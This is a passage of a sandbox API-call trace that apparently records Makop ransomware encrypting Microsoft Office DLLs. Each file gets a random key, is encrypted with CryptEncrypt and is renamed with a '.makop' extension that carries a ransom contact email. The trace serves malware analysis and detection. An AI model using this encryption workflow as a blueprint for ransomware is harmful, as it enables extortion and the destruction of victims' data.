[0086.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.969] CloseHandle (hObject=0x114) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0086.970] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0086.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.970] GetProcessHeap () returned 0x48a0000 [0086.970] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.970] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.971] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.971] GetProcessHeap () returned 0x48a0000 [0086.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0086.971] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0086.971] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.971] WriteFile (in: hFile=0x114, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0086.975] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.975] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.976] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.976] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.976] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.977] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd980, lpOverlapped=0x0) returned 1 [0086.979] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd980, dwBufLen=0xd980 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd980) returned 1 [0086.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.980] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd980, lpOverlapped=0x0) returned 1 [0086.980] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xda64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.981] SetEndOfFile (hFile=0x114) returned 1 [0086.989] GetProcessHeap () returned 0x48a0000 [0086.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0086.989] GetProcessHeap () returned 0x48a0000 [0086.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.989] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0086.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.991] CloseHandle (hObject=0x114) returned 1 [0086.991] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0086.991] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0086.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.992] GetProcessHeap () returned 0x48a0000 [0086.992] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.992] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.992] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.992] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.993] GetProcessHeap () returned 0x48a0000 [0086.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0086.993] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0086.993] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.993] WriteFile (in: hFile=0x114, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0086.997] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.997] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.997] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.999] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.999] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.999] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x100000, lpOverlapped=0x0) returned 1 [0087.035] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000) returned 1 [0087.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.046] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x100000, lpOverlapped=0x0) returned 1 [0087.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.054] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.054] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52f80, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x52f80, lpOverlapped=0x0) returned 1 [0087.085] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x52f80, dwBufLen=0x52f80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x52f80) returned 1 [0087.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x52f80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x52f80, lpOverlapped=0x0) returned 1 [0087.096] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.096] SetEndOfFile (hFile=0x114) returned 1 [0087.103] GetProcessHeap () returned 0x48a0000 [0087.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0087.103] GetProcessHeap () returned 0x48a0000 [0087.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.103] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0087.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.105] CloseHandle (hObject=0x114) returned 1 [0087.105] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0087.105] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0087.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0087.112] GetProcessHeap () returned 0x48a0000 [0087.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.112] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0087.113] WriteFile (in: hFile=0x114, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.116] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.117] GetProcessHeap () returned 0x48a0000 [0087.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.117] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0087.117] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.117] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0087.117] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0087.117] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0087.117] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0087.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0087.118] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.118] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.118] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa388, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa388, lpOverlapped=0x0) returned 1 [0087.120] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa390, dwBufLen=0xa390 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa390) returned 1 [0087.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.121] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa390, lpOverlapped=0x0) returned 1 [0087.121] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.121] SetEndOfFile (hFile=0x114) returned 1 [0087.129] GetProcessHeap () returned 0x48a0000 [0087.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.129] GetProcessHeap () returned 0x48a0000 [0087.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.129] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0087.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.131] CloseHandle (hObject=0x114) returned 1 [0087.131] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0087.131] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0087.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0087.132] GetProcessHeap () returned 0x48a0000 [0087.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.132] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0087.132] WriteFile (in: hFile=0x114, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.137] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.137] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.137] GetProcessHeap () returned 0x48a0000 [0087.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.137] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0087.137] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.137] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0087.137] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0087.137] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0087.138] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0087.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0087.138] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.138] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.142] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, 